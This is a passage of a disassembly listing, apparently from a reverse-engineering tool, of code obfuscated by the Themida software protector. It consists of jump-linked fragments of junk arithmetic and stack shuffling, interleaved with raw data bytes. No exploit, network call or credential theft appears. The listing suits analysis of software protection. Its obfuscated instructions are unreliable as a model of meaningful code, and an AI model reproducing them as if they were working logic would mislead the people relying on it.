; ---------------------------------------------------------------------------

loc_550B06:				; CODE XREF: Themida_:0054F229j
		mov	ecx, 26A07CA9h
		jmp	loc_5535EA
; ---------------------------------------------------------------------------
		dd 246C0166h, 44816602h, 0FDA0224h, 0FFDB90E9h,	21A968FFh
		dd 14890000h, 0E9E28924h, 0FFFFFEE3h, 0F733DE35h, 0CDACE9EEh
		dd 0EF81FFFFh, 56FCA8E3h, 0B9E9F901h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550B47:				; CODE XREF: Themida_:0054A12Dj
		pop	edi
		push	ebx
		mov	ebx, 34DA2FABh
		dec	ebx
		add	ebx, 90B6AB1h
		xor	ebx, 3EB85902h
		inc	ebx
		jmp	loc_550091
; ---------------------------------------------------------------------------

loc_550B61:				; CODE XREF: Themida_:0054CA59j
		or	esi, ebp
		pop	ebp
		shr	esi, 8
		sub	esi, 1
		sub	esi, 0A9EFDEh
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		xchg	eax, ecx
		xor	ecx, ebp
		xor	ebp, ecx
		jmp	loc_54FC88
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 31241C33h, 1C33241Ch, 4095C24h, 86E99C24h
		db 7Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550BA3:				; CODE XREF: Themida_:00553B58j
		push	ebx
		mov	ebx, esp
		push	eax
		push	22A92F89h
		pop	eax
		inc	eax
		push	ecx
		mov	ecx, 117F1675h
		and	eax, ecx
		pop	ecx
		push	esi
		jmp	loc_553B5D
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 1Fh
		db 9Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550BC3:				; CODE XREF: Themida_:00551A70j
		push	ebp
		push	ebx
		mov	ebp, [esp]
		jmp	loc_54986A
; ---------------------------------------------------------------------------
		db 0BFh, 0FAh, 78h
		dd 0EC833F11h, 240C8904h, 611CCAB9h, 6AC9810Eh,	812A2E15h
		dd 6F49BBC1h, 0E9C80132h, 0FFFF7F1Bh
; ---------------------------------------------------------------------------

loc_550BF0:				; CODE XREF: Themida_:0054A0F2j
		mov	eax, 1AE74FE7h
		push	eax
		mov	eax, 3CE359Ah
		add	[esp+8], eax
		pop	eax
		add	dword ptr [esp+4], 74D35436h
		add	[esp+4], eax
		sub	dword ptr [esp+4], 74D35436h
		sub	dword ptr [esp+4], 3CE359Ah
		mov	eax, [esp]
		add	esp, 4
		pop	ebp
		sub	ebp, 1AE74FE7h
		pop	edi
		and	eax, ebp
		jmp	loc_549FF2
; ---------------------------------------------------------------------------

loc_550C31:				; CODE XREF: Themida_:0054E22Fj
		and	ebx, 37E83D19h
		jmp	loc_54FEB9
; ---------------------------------------------------------------------------

loc_550C3C:				; CODE XREF: Themida_:005522C3j
		mov	eax, [esp]
		jmp	loc_54B533
; ---------------------------------------------------------------------------

loc_550C44:				; CODE XREF: Themida_:005523FFj
		pop	edi
		xor	edx, 794E31B6h
		mov	ebp, edx
		jmp	loc_55319F
; ---------------------------------------------------------------------------

loc_550C52:				; CODE XREF: Themida_:00552E13j
		xor	ah, dh
		pop	dx
		jmp	loc_54912C
; ---------------------------------------------------------------------------
		db 81h
		dd 2B1088C5h, 0FE08E903h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550C66:				; CODE XREF: Themida_:0054A898j
		xchg	ebp, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		pop	esp
		shl	byte ptr [esp],	cl
		pushf
		jmp	loc_548929
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 0E9000000h, 4172h, 8B2434FFh, 0C4812434h, 4,	8904EC83h
		dd 0E589242Ch, 4228BE56h, 0C68160F9h, 9F06BDDCh, 815EF501h
		dd 4C5h, 4C16E900h, 248B0000h, 24040824h, 7C6BE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550CBE:				; CODE XREF: Themida_:00549D89j
		sub	esi, edx
		add	esi, 4E2C37DFh
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_54A0D6
; ---------------------------------------------------------------------------

loc_550CD6:				; CODE XREF: Themida_:0055198Cj
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_54D63E
; ---------------------------------------------------------------------------

loc_550CE1:				; CODE XREF: Themida_:00549239j
		push	eax
		mov	eax, 11B73E70h
		add	eax, 606B778Dh
		shr	eax, 7
		or	eax, 37DB2149h
		add	eax, 642F4BC8h
		jmp	loc_54C794
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 242C8B04h, 5704C483h, 4A9EBE56h, 64BF2856h, 1D7A9B5h
		dd 4D2BE9F7h, 2B90000h,	8159474Eh, 1324C5C1h, 0E584E96Bh
		dd 6866FFFFh, 10E92000h
		db 0A8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550D33:				; CODE XREF: Themida_:0054B3A2j
		shl	edx, 3
		push	esi
		jmp	loc_54ED17
; ---------------------------------------------------------------------------

loc_550D3C:				; CODE XREF: Themida_:005530BDj
		dec	ebp
		jnz	loc_54A3F2
		jmp	loc_5555C1
; ---------------------------------------------------------------------------
		dd 168168h, 50F18A00h, 0A8E2C2B8h, 3406E9C7h, 0CAE90000h
		db 7Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550D5F:				; CODE XREF: Themida_:0054A194j
		sub	eax, 364D1700h
		sub	eax, esi
		add	eax, 364D1700h
		pop	esi
		xor	ebx, eax
		mov	dx, [esp]
		push	1786h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esp
		push	ebp
		jmp	loc_550FA2
; ---------------------------------------------------------------------------

loc_550D89:				; CODE XREF: Themida_:00549C8Fj
		push	eax
		mov	eax, 0CFDDC4F9h
		jmp	loc_54FB0E
; ---------------------------------------------------------------------------

loc_550D94:				; CODE XREF: Themida_:005540A6j
		pop	ecx
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_553FBE
; ---------------------------------------------------------------------------
		db 0BFh
		dd 40E42F8Eh, 0F703E7C1h, 0E9DFF7D7h, 0FFFFA2AAh, 0A91FE95Fh
		dd 0E089FFFFh, 0FFA3F3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550DC1:				; CODE XREF: Themida_:00555173j
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		sub	ebx, 2
		jmp	loc_549DC4
; ---------------------------------------------------------------------------

loc_550DD2:				; CODE XREF: Themida_:0054CF24j
		push	7FBFh
		mov	[esp], esi
		jmp	loc_54E9D1
; ---------------------------------------------------------------------------

loc_550DDF:				; CODE XREF: Themida_:0054DB27j
		js	loc_54AE6E
		shl	eax, 8
		jp	loc_552DDC
		push	edx
		mov	edx, 81C0D801h
		add	eax, edx
		pop	edx
		push	50E4h
		pop	small word ptr [edx]
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_550E04:				; CODE XREF: Themida_:0054ADDAj
		sub	edi, ecx
		jmp	loc_554A9F
; ---------------------------------------------------------------------------

loc_550E0B:				; CODE XREF: Themida_:00553A87j
		not	ah
		sub	ah, 0CBh
		jmp	loc_54B264
; ---------------------------------------------------------------------------
		db 52h,	68h, 8Fh
		dd 0E92E210Bh, 2318h
; ---------------------------------------------------------------------------

loc_550E20:				; CODE XREF: Themida_:0054AC40j
		add	bl, al
		sub	bl, 0F4h
		jmp	loc_553C12
; ---------------------------------------------------------------------------

loc_550E2A:				; CODE XREF: Themida_:0054D35Ej
					; Themida_:0054FF57j
		add	[esp+4], edx
		sub	dword ptr [esp+4], 0A6715FCh
		pop	edx
		pop	eax
		push	ebx
		mov	ebx, 132F71A3h
		dec	ebx
		and	ebx, 464845C7h
		add	ebx, 68642D48h
		not	ebx
		dec	ebx
		jmp	loc_54E5CA
; ---------------------------------------------------------------------------

loc_550E53:				; CODE XREF: Themida_:005527BDj
		pop	edi
		add	esi, 2
		jmp	loc_551AB2
; ---------------------------------------------------------------------------

loc_550E5F:				; CODE XREF: Themida_:0055407Dj
		mov	si, [esp]
		jmp	loc_550606
; ---------------------------------------------------------------------------
		dd 0FF7ABCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550E6D:				; CODE XREF: Themida_:0054B7A3j
					; Themida_:00553560j
		pop	dword ptr [esp]
		mov	esp, [esp]
		div	cx
		push	small 5A5Fh
		mov	[esp], dx
		jmp	loc_54CCC9
; ---------------------------------------------------------------------------

loc_550E83:				; CODE XREF: Themida_:00549B45j
		mov	esi, esp
		push	6BADh
		jmp	loc_552764
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0F662424h, 9C2404ABh, 0FF7A8CE9h, 243487FFh,	1CF7555Ch
		dd 24A8E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_550EAA:				; CODE XREF: Themida_:0054C4BFj
		jb	loc_553001
		sub	ebp, 6D12BC64h
		mov	esi, ebp
		pop	ebp
		sub	esi, 0DCD228Eh
		sub	esp, 4
		mov	[esp], edi
		push	eax
		mov	eax, 39880649h
		mov	edi, 0FB5457BEh
		add	edi, eax
		pop	eax
		or	esi, edi
		pop	edi
		jmp	loc_54C2E8
; ---------------------------------------------------------------------------

loc_550EDE:				; CODE XREF: Themida_:0054E0C7j
		mov	bl, 0DEh
		add	bl, 1
		push	ecx
		push	8E2h
		mov	[esp], ebx
		mov	bl, 34h
		mov	ch, bl
		pop	ebx
		dec	ch
		sub	ch, 84h
		xor	ch, 56h
		sub	bl, ch
		pop	ecx
		dec	bl
		jno	loc_549CCF
		add	bl, 72h
		jb	loc_54E8D0
		sub	bl, 6Bh

loc_550F10:				; CODE XREF: Themida_:0054F2EEj
		push	esi
		mov	esi, 12E2177Bh
		mov	edi, 12E2177Dh
		sub	edi, esi
		pop	esi
		add	eax, edi
		pop	edi
		jmp	loc_552B6F
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0EC812404h, 4, 54241C89h, 4C3815Bh, 68000000h, 64C4h
		dd 0BD242C89h, 2, 155BC381h, 0EB0174B8h, 155BEB81h, 66E974B8h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_550F5B:				; CODE XREF: Themida_:0054D8FFj
		and	bh, 0D8h
		jmp	loc_549777
; ---------------------------------------------------------------------------
		db 0B9h
		dd 7E5C3D86h, 0FFE0FBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550F6D:				; CODE XREF: Themida_:0054D74Bj
					; Themida_:00555640j
		shl	cl, 3
		xor	cl, 13h
		sub	al, cl
		jmp	loc_54AA7C
; ---------------------------------------------------------------------------

loc_550F7A:				; CODE XREF: Themida_:00549FB3j
		sub	esi, 177752C1h
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		pop	esi
		jmp	loc_54F770
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 0DFh
		dd 53AA04A2h, 0D989EB89h, 0F004E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550FA2:				; CODE XREF: Themida_:00550D84j
		push	4
		pop	ebp
		add	[esp+4], ebp
		mov	ebp, [esp]
		jmp	loc_54E59B
; ---------------------------------------------------------------------------

loc_550FB4:				; CODE XREF: Themida_:0054FB86j
		add	esp, 4
		jmp	loc_54C2D4
; ---------------------------------------------------------------------------

loc_550FBC:				; CODE XREF: Themida_:0054DB64j
					; Themida_:0054EAA3j
		push	edx
		jmp	loc_54AD13
; ---------------------------------------------------------------------------

loc_550FC2:				; CODE XREF: Themida_:0055010Ej
		push	ebp
		jmp	loc_54DB16
; ---------------------------------------------------------------------------

loc_550FC8:				; CODE XREF: Themida_:0055457Aj
		mov	[esp], ecx
		push	ebx
		mov	ebx, 78174C87h
		sub	ebx, 448D7BD1h
		or	ebx, 389B6D75h
		jmp	loc_54C9BF
; ---------------------------------------------------------------------------
		dw 0E958h
		dd 0FFFF81FDh
; ---------------------------------------------------------------------------

loc_550FE8:				; CODE XREF: Themida_:0054F4A7j
		or	ebp, edx
		mov	edx, [esp]
		jmp	loc_54B20B
; ---------------------------------------------------------------------------

loc_550FF2:				; CODE XREF: Themida_:0054D772j
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	20DDh
		jmp	loc_555EFB
; ---------------------------------------------------------------------------
aUhzi		db 'Uh┤i',0
		align 4
		dd 0BA241489h, 4D283F4Ah, 0C14AD2F7h, 0BF5705E2h, 75CF491Dh
		dd 11E9FA21h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551033:				; CODE XREF: Themida_:00549D10j
		push	ebp
		mov	ebp, 495B3CD7h
		push	ebp
		mov	ebp, 64BA1C39h
		add	eax, ebp
		pop	ebp
		sub	eax, ebp
		sub	eax, 64BA1C39h
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		sub	eax, ecx
		add	eax, 495B3CD7h
		mov	ecx, [esp]
		add	esp, 4
		shl	eax, cl
		sub	esp, 4
		mov	[esp], ebp
		push	30223B07h
		mov	ebp, [esp]
		push	ecx
		jmp	loc_54FBA8
; ---------------------------------------------------------------------------

loc_551079:				; CODE XREF: Themida_:005503D2j
		pop	esp
		add	esi, 4
		push	edx
		jmp	loc_549715
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E9502404h, 0FFFFA2C1h, 0F681DEF7h, 2E8A2948h, 685EF101h
		dd 229Fh, 0BE243489h, 621865A5h, 0F409E996h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5510AE:				; CODE XREF: Themida_:005532B7j
		dec	esi
		dec	esi
		dec	esi
		xor	esi, 0E2A794CDh
		jmp	loc_555C55
; ---------------------------------------------------------------------------
		dd 93E2E981h, 5E514A3Fh, 57F68159h, 8161562Ah, 4A1A31C6h
		dd 0BFCE8143h, 810CBF77h, 0E63CBEEh, 30F6814Fh,	813EB11Ch
		dd 246C63EFh, 0E9F70138h, 0FFFF7FC9h, 4EC81h, 4890000h
		dd 57D06824h, 5587A11h,	880ED9B8h, 0FF7D45E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551109:				; CODE XREF: Themida_:0054CC1Aj
		sub	edx, 17606D89h
		add	edx, 43C7A4EDh
		sub	ebp, edx
		jmp	loc_549BF6
; ---------------------------------------------------------------------------
		dd 8537E957h, 262DFFFFh, 154571Ah, 1A2605F0h, 62D5457h
		dd 5E75AE13h, 4773BE56h, 0DEF72990h, 8106E6C1h,	245F10E6h
		dd 9563E92Fh, 0C180FFFFh, 0CB8853ECh, 1C8BD888h, 4C48124h
		dd 8B000000h, 0CE9240Ch, 0C1FFFFDEh, 1DE905E1h,	53FFFFC4h
		dd 468h, 0DF015B00h, 0D337E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55117A:				; CODE XREF: Themida_:00551F7Fj
		mov	esi, 159B5671h
		xor	esi, 5B4F6174h
		or	esi, 213C1E75h
		add	esi, 0E8EBF424h
		sub	ecx, esi
		pop	esi
		push	7269h
		mov	[esp], esi
		mov	esi, 4
		and	ecx, esi
		push	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 4
		add	edi, edx
		pop	edx
		jmp	loc_54E00D
; ---------------------------------------------------------------------------

loc_5511C0:				; CODE XREF: Themida_:00555570j
		add	esp, 4
		mov	ebx, eax
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_5511E0:				; CODE XREF: Themida_:0054F74Cj
		push	small 3DA4h
		mov	[esp], dx
		mov	dh, 24h
		push	ax
		jmp	loc_54A261
; ---------------------------------------------------------------------------

loc_5511F1:				; CODE XREF: Themida_:0054B335j
		push	ecx
		jmp	loc_54F7A6
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 508Fh, 0E9243489h, 0FFFFA502h
; ---------------------------------------------------------------------------

loc_551208:				; CODE XREF: Themida_:00549FCAj
		sub	edi, esi
		pop	esi
		add	edi, esi
		add	edi, 15AE646Eh
		add	edi, 5A6F2DDDh
		pop	esi
		xchg	edi, [esp]
		pop	esp
		mov	ax, [esp]
		push	edi
		push	esp
		jmp	loc_553197
; ---------------------------------------------------------------------------

loc_551229:				; CODE XREF: Themida_:00553697j
		sub	eax, 0DA765825h
		push	ebp
		push	eax
		pop	ebp
		jmp	loc_551EC9
; ---------------------------------------------------------------------------

loc_551236:				; CODE XREF: Themida_:005520BDj
		mov	[esp], edx
		push	ecx
		jmp	loc_54D34C
; ---------------------------------------------------------------------------

loc_55123F:				; CODE XREF: Themida_:0054F59Bj
		neg	edi
		sub	edi, 45784301h
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		push	ecx
		jmp	loc_54BFD5
; ---------------------------------------------------------------------------

loc_551254:				; CODE XREF: Themida_:0054C8FDj
		add	edi, edx
		pop	edx
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5506B3
; ---------------------------------------------------------------------------

loc_55126B:				; CODE XREF: Themida_:0054E4ACj
		add	esp, 4
		xor	edx, 1497654Ah
		ja	loc_54DE6D
		inc	edx
		jz	loc_54CECD
		jmp	loc_5534CC
; ---------------------------------------------------------------------------
		dw 8845h
		db 0E5h
; ---------------------------------------------------------------------------

loc_551289:				; CODE XREF: Themida_:0054CAC6j
		xor	ebp, ebx
		pop	ebx
		jmp	loc_54B9D7
; ---------------------------------------------------------------------------

loc_551291:				; CODE XREF: Themida_:0054EAFDj
		pop	eax
		add	esi, 55BC864h
		or	ecx, esi
		pop	esi
		and	ecx, 56781AF9h
		jmp	loc_54CAA1
; ---------------------------------------------------------------------------
		dw 0E953h
		dd 0FFFF7A98h, 0BE243489h, 1, 3B4EE9h, 0A1B85000h, 0E9521D3Fh
		dd 0FFFFA0B1h
; ---------------------------------------------------------------------------

loc_5512C4:				; CODE XREF: Themida_:00551C7Bj
		add	ebp, 4
		jmp	loc_54EA5D
; ---------------------------------------------------------------------------
		db 5Eh
		dd 2C8BEA89h, 4C48124h,	21000000h, 4532E9D0h, 815F0000h
		dd 2C3h, 6ED46800h, 0E6E90000h
		db 3Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5512F3:				; CODE XREF: Themida_:00554B57j
		add	esp, 4
		push	1E6Ch
		mov	[esp], ebp
		mov	ebp, 15D5D8Bh
		sub	ecx, 286A1413h
		jmp	loc_5499D8
; ---------------------------------------------------------------------------

loc_551311:				; CODE XREF: Themida_:0054B8E4j
		add	esp, 4
		push	39EDh
		jmp	loc_54BADE
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 65h
		dd 0E9101E03h, 0FFFFAD99h
; ---------------------------------------------------------------------------

loc_55132C:				; CODE XREF: Themida_:0054A0A9j
		pop	edx
		push	ebx
		mov	ebx, 5AF5342Ch
		dec	ebx
		xor	ebx, 75E66FFh
		xor	ebx, 1C905686h
		push	ebp
		mov	ebp, 33293BF2h
		xor	ebx, ebp
		jmp	loc_553946
; ---------------------------------------------------------------------------

loc_55134D:				; CODE XREF: Themida_:0055414Ej
		inc	edx
		jnz	loc_54ADBF
		push	2A40h
		mov	[esp], edi
		mov	bh, 0C7h
		push	esp
		pop	eax
		push	edi
		mov	edi, 789117C1h
		neg	edi
		push	ecx
		mov	ecx, 789117C5h
		sub	edi, 7ED415C2h
		add	edi, ecx
		jmp	loc_54D595
; ---------------------------------------------------------------------------

loc_55137C:				; CODE XREF: Themida_:0055408Bj
		add	edi, 0ECF7CA04h
		mov	eax, edi
		jmp	loc_54D1ED
; ---------------------------------------------------------------------------

loc_551389:				; CODE XREF: Themida_:0054990Fj
		neg	eax
		xor	eax, 5FDD49EBh
		add	eax, 45C12147h
		xor	esi, eax
		jmp	loc_54F833
; ---------------------------------------------------------------------------

loc_55139C:				; CODE XREF: Themida_:0054D921j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	0A22h
		jmp	loc_54D0CF
; ---------------------------------------------------------------------------

loc_5513AD:				; CODE XREF: Themida_:0055444Ej
		xor	esi, [esp]
		mov	esp, [esp]
		push	edi
		push	eax
		jmp	loc_54B2D1
; ---------------------------------------------------------------------------
		dw 0BF57h
		dd 2, 4AE9F989h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5513C7:				; CODE XREF: Themida_:00549F71j
		xor	edx, edx
		jmp	loc_553129
; ---------------------------------------------------------------------------

loc_5513CE:				; CODE XREF: Themida_:005533BEj
		sub	al, 62h
		pop	ecx
		jmp	loc_555918
; ---------------------------------------------------------------------------
		dw 0EB88h
		dd 0E958E588h, 0FFFFB71Ah, 0E7E932FFh
		db 0E8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5513E7:				; CODE XREF: Themida_:0054E370j
		push	edi
		mov	edi, 45A03C18h
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 41F806FBh
		add	esi, 2D5E3BA4h
		jg	loc_554DCE
		add	esi, 0FE93D1D4h
		jmp	loc_555AAD
; ---------------------------------------------------------------------------
		dw 1C89h
		db 24h
; ---------------------------------------------------------------------------

loc_551415:				; CODE XREF: Themida_:0054F8CDj
		add	bl, 84h
		mov	eax, [esp]
		add	esp, 4
		movzx	eax, al
		mov	dx, [esp]
		push	2FA4h
		mov	[esp], ebx
		jmp	loc_54E36E
; ---------------------------------------------------------------------------

loc_551435:				; CODE XREF: Themida_:0055290Aj
		xor	ebx, 56867B8Dh
		jg	loc_553F87
		jmp	loc_54D9F4
; ---------------------------------------------------------------------------

loc_551446:				; CODE XREF: Themida_:0054A33Dj
		sub	ebp, 3EE96950h
		mov	ecx, ebp
		pop	ebp
		add	edx, ecx
		pop	ecx
		push	ebx
		jmp	loc_55237E
; ---------------------------------------------------------------------------

loc_551458:				; CODE XREF: Themida_:0054C22Ej
		mov	ecx, 164653B2h
		shr	ecx, 2
		jns	loc_54AB82
		dec	ecx
		jnp	loc_554F03
		jmp	loc_54E7B7
; ---------------------------------------------------------------------------

loc_551472:				; CODE XREF: Themida_:0054F269j
		push	esp
		jmp	loc_54DA75
; ---------------------------------------------------------------------------

loc_551478:				; CODE XREF: Themida_:0054CD1Dj
					; Themida_:005538AEj
		and	eax, 21940814h
		inc	eax
		sub	eax, 0B007A6F9h
		jmp	loc_55255F
; ---------------------------------------------------------------------------

loc_551488:				; CODE XREF: Themida_:0054E79Ej
		shl	esi, 7
		push	ebx
		mov	ebx, 51595FFAh
		add	esi, ebx
		pop	ebx
		jmp	loc_54CCF7
; ---------------------------------------------------------------------------

loc_551499:				; CODE XREF: Themida_:005532CEj
		or	di, si
		pop	esi
		xor	di, 0E876h
		sub	ax, di
		jmp	loc_553E39
; ---------------------------------------------------------------------------

loc_5514AA:				; CODE XREF: Themida_:0054B2CCj
		add	al, bl
		pop	bx
		mov	edx, [esp]
		add	esp, 4
		push	1F30h
		mov	[esp], edx
		push	eax
		mov	al, 7Fh
		push	edx
		mov	dh, 57h
		jmp	loc_54A37C
; ---------------------------------------------------------------------------

loc_5514CA:				; CODE XREF: Themida_:0054C6FCj
		push	3D61h
		mov	[esp], esi
		jmp	loc_5507CF
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 4C18100h, 0E9000000h, 30D0h
; ---------------------------------------------------------------------------

loc_5514E8:				; CODE XREF: Themida_:0054A5A6j
		add	esp, 4
		jmp	loc_550A3A
; ---------------------------------------------------------------------------

loc_5514F3:				; CODE XREF: Themida_:00554554j
		pop	eax
		sub	ecx, 0FFFFFFFFh
		jmp	loc_5527C2
; ---------------------------------------------------------------------------

loc_5514FC:				; CODE XREF: Themida_:00555F35j
		mov	edx, eax
		mov	ecx, edx
		pop	edx
		push	dword ptr [esp]
		pop	eax
		jmp	loc_550ABF
; ---------------------------------------------------------------------------

loc_55150A:				; CODE XREF: Themida_:0054D6F7j
		jmp	loc_55323C
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0F505D801h, 2D3C311Eh, 6A8E29A0h, 8C7E9h
		db 0
; ---------------------------------------------------------------------------

loc_551521:				; CODE XREF: Themida_:005509E3j
		push	edi
		mov	edi, 406B0FC1h
		sub	edi, 28280E34h
		sub	edx, 31787709h
		add	edx, edi
		jmp	loc_548B67
; ---------------------------------------------------------------------------

loc_55153A:				; CODE XREF: Themida_:0054B749j
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		pop	ebp
		push	edi
		jmp	loc_551946
; ---------------------------------------------------------------------------

loc_551552:				; CODE XREF: Themida_:005506C4j
		and	eax, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5557E3
; ---------------------------------------------------------------------------

loc_55155F:				; CODE XREF: Themida_:0054E687j
		add	dword ptr [esp], 4
		jmp	loc_5559D3
; ---------------------------------------------------------------------------
		dd 0FFAC00E9h, 2434FFFFh, 0FF2434FFh, 0C8B2434h, 4C48324h
		dd 1FB26852h, 24890000h, 0C4F1E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55158A:				; CODE XREF: Themida_:00555296j
		shl	edx, 8
		jmp	loc_54A0A1
; ---------------------------------------------------------------------------

loc_551592:				; CODE XREF: Themida_:00552EBDj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		add	al, 0CFh
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	edx
		jmp	loc_54FF49
; ---------------------------------------------------------------------------

loc_5515BB:				; CODE XREF: Themida_:005521F9j
		pop	esi
		sub	esi, 786B544Bh
		add	esi, edx
		add	esi, 786B544Bh
		pop	edx
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5535A4
; ---------------------------------------------------------------------------

loc_5515D6:				; CODE XREF: Themida_:0054BCD7j
		pop	ebp
		jmp	loc_553994
; ---------------------------------------------------------------------------
		dd 8305E5C1h, 0C8904ECh, 753CB924h, 0E1C13E5Eh,	15E18102h
		dd 0F726BA2Ch, 8E1C1D9h, 0E962E981h, 0CD295B9Ah, 0E92434FFh
		dd 286Dh, 0E8CCE9ADh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55160E:				; CODE XREF: Themida_:00548FADj
		jmp	loc_549ADB
; ---------------------------------------------------------------------------

loc_551613:				; CODE XREF: Themida_:0054B55Aj
		push	42F4h
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_54CB5A
; ---------------------------------------------------------------------------

loc_551623:				; CODE XREF: Themida_:00554BFCj
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_551628:				; CODE XREF: Themida_:00552C9Bj
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	ecx
		push	edx
		push	bx
		mov	bh, 78h
		mov	dl, bh
		jmp	loc_54D50D
; ---------------------------------------------------------------------------
		db 0FFh, 77h, 1Ch
		dd 6658669Dh, 9C240419h, 0FF72D8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551651:				; CODE XREF: Themida_:0054BBB5j
		pop	eax
		sub	edx, 26FB49DEh
		add	edx, edi
		add	edx, 26FB49DEh
		sub	edx, 49B00449h
		pop	edi
		push	ebx
		mov	ebx, 1843018Dh
		jmp	loc_5509DE
; ---------------------------------------------------------------------------

loc_551672:				; CODE XREF: Themida_:0054F7B3j
		push	small 3738h
		mov	[esp], bx
		push	edx
		push	ax
		mov	al, 0CDh
		jmp	loc_54CA5E
; ---------------------------------------------------------------------------

loc_551684:				; CODE XREF: Themida_:0054FFA1j
		xor	edi, 22B80904h
		add	ebx, edi
		pop	edi
		add	ebx, 23A90D83h
		mov	edx, [esp]
		push	ebp
		jmp	loc_54B2BE
; ---------------------------------------------------------------------------
		dd 0B9240C89h, 6BD524F3h, 6666E181h, 0E9C153C5h, 0F1814908h
		dd 32C10D4Eh, 448DE9h, 241C8900h, 0C03DB7BBh, 23E38149h
		dd 0C12FC92Fh, 0AEE906EBh
		db 3Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5516CF:				; CODE XREF: Themida_:0054D0CAj
		push	eax
		push	61CCh
		mov	[esp], ecx
		pop	eax
		jmp	loc_554F9C
; ---------------------------------------------------------------------------

loc_5516DE:				; CODE XREF: Themida_:00553EF8j
		sub	ch, 23h
		xor	dh, ch
		pop	ecx
		add	bl, dh
		pop	edx
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_548929
; ---------------------------------------------------------------------------

loc_5516F2:				; CODE XREF: Themida_:0054F76Bj
		mov	esi, 51325041h
		jmp	loc_552A01
; ---------------------------------------------------------------------------
		dd 2E1DBEBFh, 0E9E7D12Dh, 3362h, 5BE9AFB2h
		db 0EBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55170F:				; CODE XREF: Themida_:0055422Aj
		push	ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 45543FCh
		mov	ecx, edi
		pop	edi
		and	ecx, 151A2AEEh
		neg	ecx
		jle	loc_54B61D
		dec	ecx
		jge	loc_54DA3F
		push	ebp
		sub	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	5CE83097h
		mov	esi, [esp]
		add	esp, 4
		xor	eax, esi
		pop	esi
		shl	eax, 8
		and	eax, 73124FECh
		push	esi
		jmp	loc_553DF6
; ---------------------------------------------------------------------------

loc_551762:				; CODE XREF: Themida_:00552002j
		mov	esp, [esp]
		mov	ax, [esp]
		push	7587h
		jmp	loc_5537D4
; ---------------------------------------------------------------------------

